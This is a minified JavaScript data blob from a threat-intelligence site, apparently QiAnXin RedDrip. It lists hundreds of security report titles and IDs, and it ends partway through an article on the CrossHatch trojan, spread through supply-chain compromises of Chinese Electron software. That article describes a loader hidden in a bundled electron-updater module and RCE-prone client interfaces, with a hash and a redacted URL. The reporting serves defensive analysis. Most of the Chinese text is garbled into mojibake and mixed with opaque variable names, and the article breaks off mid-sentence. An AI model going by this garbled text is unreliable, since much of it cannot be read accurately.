´èµ·ï¼ä¹°åä½ç³»å ªæ¯å索软件",vt,yr,mr,ir,"Anubis Androidé¶è¡æ¨é©¬ææ¯åæåæ°è¿æ´»å¨æ»ç»",Is,Do,Eo,Lt,"追踪奥å°å©éé±¼æ¨é©¬ï¼å顾仿åç¾å¢éé±¼äºä»¶",Bt," TA505ç»ç»å©ç¨Excel 4.0å®é对é¶è¡æºæçææ°æ»å»æ´»å¨åæ","Analysis of MuddyC3, a New Weapon Used by MuddyWater","æå
å临ââMoonLightç»ç»é对ä¸ä¸å°åºçææ°æ»å»æ´»å¨åæ","åäºAPTç»ç»âéæé¨è½âåæ°å èºçé对å¨è¾¹å½å®¶åå°åºçæ»å»æ´»å¨åæ","é¦ä¾åçå¨å·´è¥¿ç仿åWannaCryæ¶æè½¯ä»¶",hi,Es,"Emoteté¶è¡æ¨é©¬æ»å»å©ç¨ææ¯åæ","æ°é¶è¡æ¨é©¬âEventbotâï¼å½±å234个éèåºç¨",Os,ze,Di,"Gorgoné»å®¢ç»ç»åæ¾æ°æï¼éè¿å¨çº¿ç½çåèµ·âä¸éå¥âæ»å»","Buhtrap CVE-2019-1132æ»å»äºä»¶ç¸å
³æ¼æ´æ ·æ¬åæ",Bi,vo,Ro," Excel 4.0 Macro Utilized by TA505 to Target Financial Institutions Recently",xo,oa,fd,"PhpStudyGhoståé¨ä¾åºé¾æ»å»äºä»¶åç¸å
³IOC ","æç°å±
é²å£«å¤§å¸ï¼é坹伿çCyrusæ»å»æ´»å¨æ«é²",qc," KBuster: Fake Bank App in South Korean","é»åé»ï¼æç§é¶é¶çå¢ä¼å©ç¨è£¸è´·ç
§ççè¯±ææ§ææ®µçæ»å»æ´»å¨",Ms,"âéè´¼âSDKï¼æç§ææ§æ°ç¾ä¸Androidææºçæ¶æè¥éæä»¶",$a,"䏿³¢çåä¿ç½æ¯ç¨æ·é¶è¡å¡èµéçå®åæ»å»æ ·æ¬åæ",dr,u,tn,oa,Rc,"æ°æ«é²éç¼çé»äº§å¢ä¼ï¼æ¨é©¬è¯±é¥µæ±¡ç§½ä¸å ª",rn,O,hn,gn,"âå贸信âç±»æ¨é©¬æ¥è¢-å©ç¨æ¼æ´ææ¡£ä¼ æAgentTeslaçªåç¨æ·åè¯","é¿æä¼¯æ¨é©¬æåæ±åï¼å¤æ¬¾APPæ¨é模仿ç¨äºæ»å»",Ds,Mc,"URLZoneï¼çä¼¼éå¯¹æ¥æ¬é«ç§æä¼ä¸éåçæ»å»æ´»å¨åæ","KBusterï¼ä»¥ä¼ªé é©å½é¶è¡APPçé©å½é»äº§æ´»å¨æ«é²","å°é£è¿å¢åçç¼ç±ï¼å»çå«çè¡ä¸ç½ç»å®å
¨åç´¢æ»å»æ¡ä¾é","æ«é²ï¼å¯¼è´ä¸ä¸ªèªå¨å设å¤ç产åå
¨ççç³»ç»å®æºä¸å¨ç罪é祸é¦","å¢å¤é»äº§å¢ä¼ä¹å¤å·¥ï¼é对å½å
ç¸å
³åä½åèµ·éé±¼æ»å»","COVID-19 | æ°å ç
æ¯ç¬¼ç½©ä¸çå
¨çç«æ
ç¸å
³ç½ç»æ»å»åææ¥å",dd,Rs,Oc,"APTç»ç»æ±¡æ°´ï¼MuddyWaterï¼æ°æ¦å¨MuddyC3代ç
105æ³é²ä¸åæ","APT-C-09 Reappeared as Conflict Intensified Between India and Pakistan","å¤çç½ç»æï¼ä¹å
å
°äºæ¬¡æçµäºä»¶åæ","ç¬¬ä¸æ¹æ¯ä»å¹³å°ä»æ¬¾1å
å®ä»1000ï¼è¿ä¸ªæ°éªæ¯åäºä¸å°äººï¼",Ec,M,Ko,lr,"é对èæè´§å¸äº¤æå¹³å°çå®åæ»å»ï¼ä»¥å®¢æè²è¯±ä¸ºè¯±é¥µ","å®å
¨æ¨¡å¼ä¸ç梦éï¼æè½¯å¤©æSnatchåç´¢åç§éä¸",No,Ic,"å©åé¹°ç»ç»-çæäºä¸ä¸è¥¿äºç½ç©ºçéå¯¹æ§æ»å»ç»ç»æ´»å¨æé²","çä¼¼åå°¾èAPTç»ç»ä»¥CIAèµå©å马æ¯ç¸å
³ä¿¡æ¯ä¸ºè¯±é¥µçæ»å»æ´»å¨åæ",Dn,kc,Sc,vc,Tc," âéæé¨è½â APTç»ç»ç§»å¨ç«¯æ°è¿æ´»å¨æ«é²",R,zn,"Project TKBOXï¼è°ä¼æ°å¹´çâçä¿¡æ¶å²æºâ",Jn,N,q,at,nt,G,X,st,ct,xc,Cd,mc,B,mt,H,U,sc,F,Ot,qr,lc,j,Q,K,Ht,Ut,ic,Ks,Cs,Z,ti,Y,$,Ci,ki,Oi,ee,Ts,ws,fs,ae,qo,ne,Fi,bs,"Operation Dragon Breathï¼APT-Q-27ï¼ï¼é对å彩è¡ä¸çéç»´æå»",te,ed,ie,id,ps,ld,rd,rs,de,le,ud,se,Ns,Td,"RobinBotââå¿«éæ©å¼ ä¸çæ°å DDoS åµå°¸ç½ç»","RedGoBotââæ°åGoè¯è¨ç¼åçDDoSåµå°¸ç½ç»","é»å®¢ç»ç»æ¨é©¬åNavicatçå¤ä¸ªå·¥å
·é对è¿ç»´ç½ç®¡äººåçæ»å»æ´»å¨åæ",Xa,os,Jo,to,io,lo,Bc,Hc,Uc,"Kaijiåµå°¸ç½ç»éåºæ±æ¹ï¼Aresé»å®¢å¢ä¼æµ®åºæ°´é¢ï¼","Kaiji Botnet Resurfaces, Unmasking Ares Hacking Group?",Ba,Ha,Ua,_a,"Analysis of In-the-wild Attack Samples Exploiting Outlook Privilege Escalation Vulnerability (CVE-2023-23397)","Outlook æéæåæ¼æ´ï¼CVE-2023-23397ï¼å¨éæ»å»æ ·æ¬åæ","Analysis of Hacker Group's Trojanizing of Multiple Tools, including Navicat, Targeting Operations and Network Management Personnel",so,"Operation $mercenary$ï¼å¼¥æ¼«å¨ä¸æ¬§å¹³åçæäºè¿·é¾","Operation $mercenary$ï¼The Fog of War Spreading Across the Eastern European Plains",co,_c,xd,Fa,Va,"é«éGPSæå¡âéè½åé¨âäºä»¶åæ","Analysis of the Hidden Backdoor Event in Qualcomm GPS Service",cs,ss,"CVE-2023-28252å¨éæææ¼æ´æ ·æ¬åæ","CVE-2023-28252: Analysis of In-the-Wild Exploit Sample of CLFS Privilege Escalation Vulnerability","æåUEFIåºä»¶OEMæ½å¨åé¨äºä»¶åæ","Analysis of Potential OEM Backdoor in Gigabyte UEFI Firmware",xs,Ac,"é对å®å
¨ç 究人åçPOCææ¯äºä»¶","POC Poisoning Incident Targeting Security Researchers","äºä¸è°å½±ï¼Group123ç»ç»è¿ææ»å»æ´»å¨åæ",Vc,jc,oo,ro,za,"RedGoBotæ°åç§è¿ææ´»å¨åæ","Analysis of RedGoBot New Variant's Recent Activity","æ°ååµå°¸ç½ç»CatDDoSæ£å¨æç»è¿å","è¿æoneinstackä¾åºé¾ææ¯äºä»¶åæ","Recent Analysis of the OneinStack Supply Chain Poisoning Incident","Operation HideBearï¼ä¿è¯å¨èè
å°ç®æ çåä¸äºååç¾","Operation HideBear: Russian Threat Actors Targeting East Asia and North America",Ja,"å·ç§°æ¤å
¥äº2000ä¸è®¾å¤ç欺è¯å鍿å±åæ","æ©è¯èç»ç»ï¼APT-Q-36ï¼åSpyderä¸è½½å¨æéRemcosæ¨é©¬",qs,Za,"Analysis of the Expansion of Fraudulent Backdoors Claimed to Have Been Implanted in 20 Million Devices","Targeting finances! Domestic blackmail gangs start dropping CHM bait",Ya,"Delivery of Remcos Trojan by Hangover Group (APT-Q-36) Leveraging Spyder Downloader",ls,"éIOCï¼å¥å®ä¿¡äº§åç»åæåæ«è´¥blackcatå索软件åååé对OTçæ»å»æ´»å¨","IOC Attached! QiAnXin Product Suite Successfully Thwarts BlackCat Ransomware Distributor's Attacks on OT",ds,re,po,"UTG-Q-003ï¼å¾®è½¯åºç¨ååº7ZIPä¾åºé¾ææ¯äºä»¶å§æ«","UTG-Q-003: Supply Chain Poisoning of 7ZIP on the Microsoft App Store",is,ts,ns,as,"亲以é»å®¢ç»ç»Predatory Sparrowåè¢ä¼æï¼å æ²¹ç«æå¡é大èå´æå»","Predatory Sparrow Hacker Group Strikes Iran Again, Inflicting Widespread Damage to Gas Station Services","UTG-Q-007ï¼è¶åè¯æ¨é©¬ROTbotæ£å¨çåäºæ´²å°åº",cn,on,Go,sr,"UTG-Q-007: Vietnamese Trojan ROTbot Targeting Asia",es,'The Nightmare of EDR: Storm-0978 Utilizing New Kernel Injection Technique "Step Bear"',"EDRçæ¢¦éï¼Storm-0978ä½¿ç¨æ°åå
æ ¸æ³¨å
¥ææ¯âStep Bearâ","UTG-Q-010:é对AI忏¸æè¡ä¸çå®åæ»å»æ´»å¨","UTG-Q-010: Targeted Attack Campaign Against the AI and Gaming Industry","Operation Veles:é对å
¨çç§ç æè²é¢åé¿è¾¾åå¹´ççªå¯æ´»å¨","Operation Veles: Decade-Long Espionage Targeting the Global Research and Education Sector","New Attack Technique GrimResource Sweeps Through China with Fake Websites","æ°åæ»å»ææ¯GrimResourceéè¿ä»¿åç½ç«å¸å·å½å
",$l,Yl,ue,me,Zl,Jl,cr,or,Ga,wn,xn,Tn,An,Cn,"éç¼çå¢ä¼è¿ææ´»å¨è·è¸ª","Tracking the recent activities of the APT-Q-27","å¥å®ä¿¡æ
æ¥æ²ç®±å©åï¼è¯ç ´æ±èç½ç«ä¼ªè£
ä¸çæ¶æè½¯ä»¶",zs,Js,"å»ä¸å¿åç婿¢¦ï¼éèå¨P2Pç½ç»ä¸çåé¨alphatronBot",vn,Sn,xe,Te,En,On,zl,Kl,ve,Nn,Ys,$s,ec,ac,w,x,jl,Vl,nc,tc,ke,Bn,Hn,Fl,Ee,Oe,Pc,Rn,Vn,jn,"å®æç¬¦å·æ¦å¨åï¼mimo å¢ä¼å©ç¨ Microsoft SharePoint RCE æ¼æ´æé 4L4MD4r å索软件",_i,Ir,_t,Er,Or,Qn,Kn,Gr,gr,Mn,kn,Me,De,Re,Ne,$n,et,"æ«é²SetcodeRatï¼ä¸æ¬¾ä¸ä¸ºä¸æå°åºå®å¶çTelegramçªå¯ç¹é©¬",dc,T,A,tt,it,lt,It,V,_,Kr,ot],articleId:[Hl,"59c09501b90b4c18cdd463c4","596f0ad74337d4596e59ed0b","599e42212e2a0031a2426c24","599e41812e2a0031a2426c20","597733a71c670a09e493ee40",We,"599ab40be7218830f4c77f50",Le,"59cb7b1a3662dd1d5767eeae","597733a71c670a09e493ee3f",Bl,He,"599e41ab2e2a0031a2426c22",Ll,Wl,"59b2582aa4a4c5049977d83b","59c4c80dddf7091b76e43cbb",ql,"5968a01f5704074e282bcdde",_e,Ri,"5a544335fba06d002d0612e9",us,"5a1cbbe593df7f0471b46f65","59c4bc7fddf7091b76e43cb0",Nl,"597733a71c670a09e493ee3b",Fe,Dl,ms,"5b2365efa3225d002fad2401",Zo,yt,Ml,At,"5a7bab7669918b0eb42f055c",Ct,Yo,S,Il,$o,kl,Je,Zi,"59c87d90ddf7091b76e43cc1",Et,"5b924874b3601b003b0bcb72",Pl,Dt,Ye,Nt,Gt,k,"5c7658c085b73e0afa74408a","5c776d8985b73e0afa744099",vl,Cl,"5c5014a085b73e0afa74403d","5c767c9085b73e0afa74408f",xl,na,wl,Gs,Ft,"5dd23937d4b2d8004457f145",Xs,Ws,"5de0bf94d4b2d8004457f184","5ecf40923a5e0d004437d970",da,"5d414b96eaf89d0044568970","5e007f103eace7004434a7be","5e7acd9d2df8ea0044c43e92",Ls,"5d6c7afd05cd590040e1ddcb","5dd5f898d4b2d8004457f16c",Xo,"5e6ae8698c93f30044947d47",Wo,"5e9671b22df8ea0044c43eb8","5ee18bab3a5e0d004437d973",jt,hl,fl,bl,"5ccea745bf7fdb003a4362aa",Bs,Lo,sl,Zt,"5de60b2cd4b2d8004457f188",Yt,"5c4950e385b73e0afa74402b","5d11f2ca02670300443ff663","5ddf7fd7d4b2d8004457f180","5e731e758c93f30044947d51","5d1b1efa278d09003e46f792",ni,Hs,"5dd62989d4b2d8004457f171","5e7adf182df8ea0044c43e9d",Us,ca,ii,"5d3915aeeaf89d0044568969","5d4bd169eaf89d004456897c",di,tl,Bo,"5c4950e985b73e0afa74402c",nl,al,oi,"5d882d05d537a8004411f93d","5dd233bbd4b2d8004457f140",Jd,"5c94c911925654003ecbd40a","5d1497d402670300443ff66a",_s,"5efd592b08fcb40044f6afeb",fi,"5bf2736f514bb60f29fdb701",rr,I,gi,Kd,Qd,"5dedfd26d4b2d8004457f192",wi,ra,Ti,Ai,"5dd4e953d4b2d8004457f158","5e17db225e5db40044f9594f",Fs,jd,"5c77708385b73e0afa74409b","5c94cb6e925654003ecbd40c","5d5a21fdeaf89d0044568992","5dd4f2e0d4b2d8004457f162","5e69a2d68c93f30044947d43","5e7c1e7c2df8ea0044c43ea7",Li,Vs,Vd,"5d11d36e02670300443ff659","5d63b39c05cd590040e1ddc2","5d81b716d537a8004411f938","5f1e75f208fcb40044f6b000",_d,ba,ar,pr,"5dd62cded4b2d8004457f179","5df2f4c93eace7004434a7b6",Ho,Ud,"5fc5c10ca302f8002c6e96ed","5fcda0fc
105a302f8002c6e96fb",Ei,Hd,Bd,Ld,Wd,"60376fe4a302f8002c6e9736",ma,Xi,"60862b19c5e9b500318697d6",Wi,ya,wa,Hi,Ui,xa,Ta,Vi,ji,Gd,qd,Nd,Aa,Yi,Ca,va,Dd,Sa,td,Hr,Md,ka,Ia,Ea,wt,od,Ed,kd,Pd,Da,hd,Ra,Na,md,yd,wd,qa,Sd,vd,wc,oe,Uo,Ma,pd,Id,"6281f02ed8eafb002dde9bcb",Oa,cd,Pa,ad,Rd,Ji,Qi,Xd,ua,ha,Mi,fa,js,Ii,"63ac0c5859e334003a898025","63ac0cd059e334003a898027","63c50c9259e334003a89802e",Pi,Fd,tr,bo,fo,ho,Jc,Zc,Yc,"63fc4de194bbb5002eca5cf9","63fc63f094bbb5002eca5cfc",vi,yi,mi,ui,"6423a30094bbb5002eca5d25","6423a9b994bbb5002eca5d27","643514c8d0cf060044f996e3",go,"6437c4f1d0cf060044f996e9","6437c8f0d0cf060044f996eb",uo,$c,gd,bi,pi,"645a0d3dd0cf060044f9970d","645b15e0d0cf060044f99711",Yd,$d,"646b14b0d0cf060044f9971d","646c8463d76f780044a9b535","6479991bd76f780044a9b540","647d804bd76f780044a9b542",As,Cc,"64a7adbcd76f780044a9b549","64a7b18ad76f780044a9b54b","64ad1036d76f780044a9b54e",ao,no,mo,yo,ci,"64e461aed76f780044a9b567","64e465efd76f780044a9b56b","64feb33dd76f780044a9b56e","65264661fcb584004494c77f","65264e05fcb584004494c781","652ccb14fcb584004494c783","652cd6fafcb584004494c785",si,"6572e14dfcb584004494c78b","6572e5eafcb584004494c790",Qs,li,"6572f0eafcb584004494c7a1","6572f100fcb584004494c7a2",ai,"6572f7c6fcb584004494c7b3",dl,"6576655efcb584004494c7cd","65766c17fcb584004494c7d4",ll,la,wo,"6577ce73fcb584004494c814","6577d85bfcb584004494c817",cl,ol,rl,pl,"65892e27fcb584004494c826","65893508fcb584004494c829","65d707c10ecb08004506be41",Kt,Qt,_o,br,"65f2a7bc0ecb08004506be4c",gl,"662724090ecb08004506be50","662726a90ecb08004506be52","664c64d10ecb08004506be57","664c71ab0ecb08004506be59","665e8a530ecb08004506be5b","665ed5b70ecb08004506be60","669728b53d9e0100395d173a","66972a473d9e0100395d173f",ul,ml,ta,aa,Tl,Al,fr,hr,ea,Wt,qt,Mt,kt,St,"6739b9bf247df90044bd1b79","6739badd247df90044bd1b7c","6739bc0e247df90044bd1b80",cc,oc,"674d8282247df90044bd1ba7",Tt,xt,je,Ve,ht,bt,Gl,Xl,Ue,rt,pc,bc,fc,hc,v,C,Ul,_l,gc,uc,Ie,Wn,Xn,Ql,Ce,Ae,Dc,ln,mn,un,"68902634998acf003d1f6e7b",ei,Mr,gt,Dr,Rr,bn,pn,Ur,Tr,dn,Qa,he,fe,be,pe,nn,en,"6929679f42d74d004422ad9a",yc,y,m,ja,Wa,xi,dt,L,W,zr,In],count:401,category:s},{title:["WikiLeakså
¬å¼èµæè§£è¯»ç³»å- CIA Hive项ç®",Xc,"ä¸ä¸ä»£æ°æ®é©±å¨çå®å
¨-IDC2016è¡ä¸ç½ç®ä¹¦",tp,Jr,jr,"2017ä¸å½ä¼ä¸é®ç®±å®å
¨æ§ç ç©¶æ¥å",r,"软件ä¾åºé¾æ¥æºæ»å»åææ¥å","BGPå®å
¨ä¹æ®",ce,Pr,wr,"é¶é©ï¼é对å½å
ç½é¶ç¨æ·çéé±¼çæ»å»æ´»å¨",Vt,l,Io,eo,Fc,"Protect Enterprise Against Cryptojacking - Lessons From Tracing 8220 Miner Group",Qo,Nc,l,"Android平尿åºï¼2019å¹´ä¸åå¹´å®å
¨äºä»¶æ»ç»åæ","2019å¹´ç§»å¨å®å
¨æ»ç»",D,Un,"2020å¹´Androidå¹³å°å®å
¨æå¿åææ¥å","çº¢é¨æ»´äºæ²ç®±çâä¸ç§æ¦å¨âãéï¼HW2021å
鍿¥åã",ft,zo,Gi,sd,La,Ka,sn,ge,we,Xr],articleId:["5a0cefccc800e7002ad7c801",Qc,"59c4c8ecddf7091b76e43cbc",Rl,Ol,El,"5af160881512920044711b3d",P,"59b2582aa4a4c5049977d83a","5b836ab0b3601b003b0bcb66",Ze,Sl,yl,"5cf75e42b0ac7e10eb7936b7",$t,sa,il,el,Zd,"5d08974b02670300443ff633",er,zd,pa,"5cf5f6a9b0ac7e10eb7936ae","5e17e7875e5db40044f95955",ga,Ni,"60862dc6c5e9b500318697da","60865b8bc5e9b500318697e2",zi,nr,Ad,Ki,Si,ri,zt,ia,Qe,_r],count:39,category:"ä¸é¢æ¥å"},{title:["H-WORMï¼ç®åèæ´»è·çè¿æ§æ¨é©¬","EternalBlueå·¥å
·æ¼æ´å©ç¨ç»èåæ","Struts2 S2-052è¿ç¨ä»£ç æ§è¡æ¼æ´(CVE-2017-9805)åæ ","CVE-2017-8570馿¬¡å
¬å¼çé夿 ·æ¬åæ¼æ´åæ","CVE-2018-4990 Adobe Reader ä»£ç æ§è¡æ¼æ´å©ç¨åæ",Wc,"CVE-2018-8414ï¼SettingContent-msæä»¶ä»»æä»£ç æ§è¡æ¼æ´åå¨éæ»å»åæ","CVE-2018-8120å¨Windows 7 x64ç¯å¢ä¸çæ¼æ´å©ç¨åæ",To,"èæ å¼æ°è±ï¼å©ç¨Excel 4.0å®èº²é¿æè½¯æ£æµçæ»å»ææ¯åæ",Gn,Ao,qn,"ãçº¢é¨æ»´æ²ç®±æ¯ææææ¼æ´å©ç¨æ£æµãCVE-2021-1732 Microsoft Windowsæææ¼æ´åæ","å¨éå®åæ»å»æç¨Windowsæ¬å°æææ¼æ´ï¼CVE-2021-40449ï¼å¤ç°ååæ","ç¬å®¶æè·ï¼å¨é宿´Chromeæµè§å¨æ¼æ´å©ç¨æ»å»é¾åæ","CVE-2022-30190ï¼Microsoft Windows æ¯æè¯æå·¥å
· (MSDT) è¿ç¨ä»£ç æ§è¡æ¼æ´å©ç¨åæ",Lc],articleId:["597733a71c670a09e493ee39","5a0012c32e4d2a20e12454aa","59b11de4a4a4c5049977d829","5a6efb76b1687505907165d9","5b07d89ba3225d002fad23ba",Kc,"5b7e8a4ab3601b003b0bcb50","5b1121a1a3225d002fad23df",So,"5bd7c552b3601b003b0bcbb7",Pn,Po,yn,"6086664cc5e9b500318697ed","61726a1b5a554500445142ef","617a50755a554500445142f8","62d7ac9e00f2f90034435670",zc],count:18,category:"ææ¯ç ç©¶"},{title:[Zs,"è¶
ç¾ä¸ç»ç«¯ææâå¹½çµæä»¶âï¼é»å®¢å¯ææ§æç´¢ç»æ","䏿¬¡é对 iOS é´è°æ¦å¨å¼å人åç 0day æ»å»å°ç¾å½
105å大æ¿åºæ¿å
å L3Harris çé·è½","A zero-day attack targeting iOS spy weapon developers led to the downfall of L3Harris, a top 10 US government contractor.","ç å人å请注æï¼ä½ å
éç代ç ï¼å¯è½â带æ¯â",'Attention developers: The code you cloned may be "Tainted"',"EmEditor Supply Chain Incident Details Disclosed: Distribution of Information-Stealing Malware Sweeps Through Domestic Government and Enterprise Entities",Wr,Lr,ur,Zr,Yr,Pt,pt],articleId:[rc,"67cf99a19b3d670341837aad","69003aa142d74d004422ad68","6900675742d74d004422ad6e","690076f842d74d004422ad74","6900804642d74d004422ad7d","694d038a42d74d004422adb5",Fr,Vr,Ar,$r,ep,Yn,Zn],count:14,category:f},{title:["å¨èæ
æ¥ç屿¬¡åæ","WannaCryåç´¢è è«ï¼è¿ç¨ãåæååæ","æå¿æç¥ä¸çå¨èæ
æ¥","å¨èæ
æ¥å¨åºæ¥ååºä¸çåºç¨","å¨èæ
æ¥çä¸ä¸æãæ 示åè½å¤æ§è¡ç建议","æ
æ¥å
çï¼é«çº§å¨èæ£æµå®è·µçå¿
è¦æ¡ä»¶","Qi'an Xin RedDrip Team APT Scanning Engine (RAS) Joins Polyswarm Platform"],articleId:["597733a71c670a09e493ee38","598307456fa1a61d9d267dc8","59bf2452f3cfbc17b223a971","5c2889fe85b73e0afa743fc3","5bd91852b3601b003b0bcbcf","5e23b4cc5955bb003a89e7b4","61303c3bcffe2d003443c074"],count:7,category:"å®å
¨è§ç¹"},{title:["å
¬å¼çéç§ï¼CVE-2024-30051å¨éæææ¼æ´ç ç©¶",Co,"ALPC 乿® - 8ææªç¥ Windows å¨éææ Nday æ¼æ´ç ç©¶","The Tragedy of ALPC - Unknown Windows Privilege Escalation Nday Vulnerability Research in August"],articleId:["66d925313d9e0100395d1776",ko,"677cf4f7247df90044bd1bc4","677cf736247df90044bd1bc6"],count:4,category:"æ¼æ´éå"},{title:["Hakbitåç´¢ç
æ¯çªè¢å½å
ï¼å¥å®ä¿¡é¦åè§£å¯å·¥å
·","ç¾å½ç油管éåéå索软件æ»å»åè¿äºä»¶ç å¤"],articleId:["5dd62b4fd4b2d8004457f175","609a246fc5e9b50031869804"],count:2,category:"äºä»¶éå"}],{success:!0,msg:[{_id:zr,title:Kr,category:s,readableId:"supply-chain-attack-activities-against-domestic-electron-software-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"2026 å¹´ 6 æï¼å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢ééè¿ç§ææ
æ¥ AI ç产æµç¨ï¼æç»çæµå°ä¸æ¬¾æ°åç¹ç§æ¨é©¬ CrossHatch éè¿å¤æ¬¾å½äº§ Electron 软件ä¾åºé¾ä¼ æãé¨åä¾åºé¾èç¹åå¨å®åä¸åè¡ä¸ºãç§ç§è¿¹è±¡è¡¨æï¼æ»å»è
çä¼¼åºäºç»æµç®çï¼é对å¢å
åè·¨å¢çµååèµ·é«æ°´å¹³çæ»å»æ´»å¨ã",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:["SUPPLY CHAIN ATTAC","AI",cp],publish_time:"2026-08-10T07:59:25.000Z",content:'<h3 class="line" data-line="0">èæ¯</h3>\n<p class="line" data-line="2">èª 2021 å¹´æä»¬åç° Operation Dragon Dance<sup>[1]</sup> æ´»å¨ä»¥æ¥ï¼å°±ä¸æå¼ºè°å½äº§ Electron 软件çèå¼±æ§ââåºäº Chromium åµå
¥å¼æ¡æ¶å¼åçäº§åææéåè¿ç¨ä»£ç æ§è¡æ»å»ãæ¤åï¼æä»¬åéç»åç°å¢å¤ APT ç»ç»é对å½äº§ Electron 软件å å个 0day æ¼æ´å±å¼çé´è°æ´»å¨ï¼å
æ¬ Operation DevilTiger<sup>[2]</sup> ä¸ Operation South Star<sup>[3]</sup>ã</p>\n<p class="line" data-line="4">è¿å
¥ AI æ¶ä»£ï¼Electron æºç 审计ç鍿§æ¥å§éä½ï¼æ»å»è
ä»
éæ¶ètoken å³å¯ææåºå¯å©ç¨çæ¥å£ãçè³å¨é¨åæ¡ä¾ä¸ï¼AI ç´æ¥ä» asar å
å
æ®çç OSS Key å
¥æï¼å°ä¾åºé¾æ»å»çææ¬è¿ä¸æ¥æä½ã</p>\n<p class="line" data-line="6">è¿ä¸åå已转å为çå®å¨èãä»å¹´æä»¬å·²çæµå°åä½èµ·å½äº§è½¯ä»¶ä¾åºé¾æ»å»äºä»¶ï¼æ»å»è
æ¶µçé«ç«¯é»äº§ä¸æ°å
´ APT ç»ç»ãé¨åéæ¿æ²»ç®çä¾åºé¾æ»å»å·²ç»å弿ºç¤¾åºæ«é²<sup>[4][5]</sup>ã䏿¤åæ¶ï¼AI åºè²çç¼ç è½åä¹å¬çäºå¤§éå·¥ç¨åçç¹ç§æ¨é©¬ï¼ä»
ä¸åå¹´æä»¬å°±æè·äºç¸å½è§æ¨¡çæ°åæ ·æ¬ãæ»èè¨ä¹ï¼AI 驱å¨çç½ç»æ»å»æ£å¨å¯¹åååçé«çº§å¨èåç°è½åä¸å½å±è½åææåææªæçææã</p>\n<p class="line" data-line="8">2026 å¹´ 6 æï¼å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢ééè¿ç§ææ
æ¥ AI ç产æµç¨ï¼æç»çæµå°ä¸æ¬¾æ°åç¹ç§æ¨é©¬ CrossHatch éè¿å¤æ¬¾å½äº§ Electron 软件ä¾åºé¾ä¼ æãé¨åä¾åºé¾èç¹åå¨å®åä¸åè¡ä¸ºãç§ç§è¿¹è±¡è¡¨æï¼æ»å»è
çä¼¼åºäºç»æµç®çï¼é对å¢å
åè·¨å¢çµååèµ·é«æ°´å¹³çæ»å»æ´»å¨ã</p>\n<p class="line" data-line="10">天æâå
åâé«çº§å¨èé²å¾¡å¼æå·²ç»å¯ä»¥å¯¹CrossHatchç¹é©¬è¿è¡æ¦æªï¼</p>\n<p class="line img-box text-center" data-line="12"><img src="/uploads/2026/08/10/d9f8793ec74076eb4de10f1efbd9da1d.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="16">å½äº§Electron软件ä¾åºé¾å
¥å£</h3>\n<h4 class="line" data-line="18">
105æIMå®ç½å®è£
å
ä¾åºé¾å
¥å£</h4>\n<p class="line" data-line="20">宿´æ»å»é¾å¦ä¸ï¼</p>\n<p class="line img-box text-center" data-line="22"><img src="/uploads/2026/08/10/f882bef2ac9b879e6ab60d03173e3d14.png" alt="" width="70%"></p>\n<p class="line" data-line="24">å®è£
å
ä¸è½½è·¯å¾å¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>åæ®µåç§° (Field)</strong></td>\n<td><strong>详ç»ä¿¡æ¯ (Details)</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>https://web.qXXXXXXXXXchat.com/ (宿¹ç½ç«)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>https://down.qXXXXXXXXXchat.com/Client/XXXXXXX_windows.zip (宿¹URLè·¯å¾)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>a8020097a34d32721ddcba6cf75091b1</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="33">æ»å»è
å°æ¶æé»è¾èå¨äºELECTRONå®è£
å
çapp.asarä¸ï¼è§£å
åçå°åä½äºnode_modules/electron-updater/out/main.jsä¸ï¼è§£æ··æ·åçé»è¾ä¸ºä¸è½½ç½å é»ç»ä»¶ï¼</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/08/10/78d354c6d9b20e2b975a464a6c911291.png" alt="" width="70%"></p>\n<p class="line" data-line="37">åæ¶å¨main/index.jsä¸å¼ç¨è¯¥æ¨¡årequire("electron-updater")ï¼å®ç°å®è£
å
å¯å¨åèªå¨å è½½ï¼</p>\n<br>\n<h4 class="line" data-line="41">æSCRM客æ·ç«¯æ¥å£ä¾åºé¾+RCE</h4>\n<p class="line" data-line="43">é对SCRM客æ·ç«¯çä¾åºé¾æ»å»ç¸å¯¹è¾ä¸ºå¤æï¼æ»å»è
ç似使ç¨äºå®æ¹å
¬åæ¥å£ä¾åºé¾+RCEç»åçå©ç¨æ¹å¼å¯¹ç¹å®ç®æ ä¸åCrossHatchç¹é©¬ï¼æ»å»é¾å¦ä¸ï¼</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/08/10/f4e541eca61733861e88d3eb8a6bb9c9.png" alt="" width="70%"></p>\n<p class="line" data-line="47">æä»¬å¨å¯¹SCRMçå®è£
å
è¿è¡å®¡è®¡çè¿ç¨ä¸å¹¶æ²¡æåç°å
ç½®çæ¶æä»£ç ï¼å¤§æ¦çæ¯äºç«¯ä¸åï¼éå对ASARè¿è¡äºæ¼æ´ææï¼åç°äºä¸¤ä¸ªè½å¤RCEçæ¥å£</p>\n<ol>\n<li>è¿ç¨å è½½JSæ¥å£ï¼main/tabConfig.jsä¸åå¨loadTelegramInterceptFromRemote彿°è¿ç¨å è½½å®æ¹é«æéjsï¼æ»å»è
妿è½å¤æ§å¶jså
容å³å¯å®ç°RCEï¼åç䏿¤åApifoxäºä»¶ç±»ä¼¼ã</li>\n</ol>\n<p class="line img-box text-center" data-line="51"><img src="/uploads/2026/08/10/27c67ea051e8d79f1becafd53db0dcd9.png" alt="" width="70%"></p>\n<ol start="2">\n<li>宿¹å
¬åæ¥å£ï¼è¯¥æ¥å£ä¼ä¸ä¼ 客æ·ç«¯çè´¦å·ãç§æ·åé¨é¨æ è¯ï¼å¹¶ä¸æ¨éå
¬åï¼å®¢æ·ç«¯åå¨å¤å¤å°æå¡å¨è¿åjsonåæ®µæªç»æ£ç¡® JavaScript å符串转ä¹ï¼ç´æ¥æ¼å
¥ webContents.executeJavaScriptçé®é¢ãå
